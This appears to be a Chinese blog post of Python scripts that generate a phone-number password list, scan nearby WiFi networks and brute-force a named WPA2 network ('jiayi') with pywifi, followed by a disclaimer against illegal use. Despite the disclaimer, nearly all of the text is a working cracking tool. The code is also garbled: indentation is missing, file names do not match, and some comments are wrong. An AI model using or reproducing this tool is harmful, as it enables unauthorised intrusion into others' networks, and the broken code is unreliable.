# -*- coding: utf-8 -*-
import itertools as its
import datetime
#记录程序运行时间
start=datetime.datetime.now()
words = '1234567890'#这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words,repeat=8)#4即生成4位密码,正常情况下热点密码位数为8
dic = open("paswwer.txt", 'a')
phoneNumHead = ['134', '135', '136', '137', '138', '139', '147', '150', '151', '152', '157', '158', '159', '182', '187', '188', '130', '131', '132', '155', '156', '185', '186', '133', '153', '180', '189', '154', '181', '183', '184']
# phoneNumHead = [1]
for num in phoneNumHead:
for i in r:
line = ''.join(i)
dic.write(str(num) + str(line) + '\n')
# print(i)
dic.close()
print('密码本生成好了')
end=datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end-start))
# -*- coding: utf-8 -*-
import pywifi
if __name__ == '__main__':
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
# 起始获得的是列表,列表中存放的是无线网卡对象。
# 可能一台电脑有多个网卡,请注意选择
# 如果网卡选择错了,程序会卡住,不出结果。
iface.scan()
result=iface.scan_results()
for i in range(len(result)):
print(result[i].ssid, result[i].signal)
#ssid 是名称 ,signal 是信号强度
print('ok')
# -*- coding: utf-8 -*-
import pywifi
from pywifi import const
import time
import datetime
#测试连接,返回链接结果
def wifiConnect(pwd):
#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
#这里有个时间点,理论上时间间隔越长,破解wifi过程中越不容易被路由设备拒绝,但是缺点就是破解需要的整体时间过长
time.sleep(1)
wifistatus=ifaces.status()
if wifistatus ==const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="jiayi"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#调用密码
profile.key=pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
#读取密码本
def readPassword():
print("开始破解:")
#密码本路径
path="password.txt"
#打开文件
file = open(path, "r")
while True:
try:
#一行一行读取
pad=file.readline()
bool=wifiConnect(pad)
if bool:
print("密码已破解: ",pad)
print("WiFi已自动连接!!!")
with open('ok.ini', 'a') as f:
f.write(str(pad) + '\n')
break
else:
#跳出当前循环,进行下一次循环
print("密码破解中....密码校对: ",pad)
except:
continue
start=datetime.datetime.now()
readPassword()
end=datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end-start))
声明:
代码非原装,本人只是做了整理、优化工作,文章主要是让大家了解暴力破解的原理及其实现,请不要拿做非法用途。若产生不良后果,使用者要负全部责任。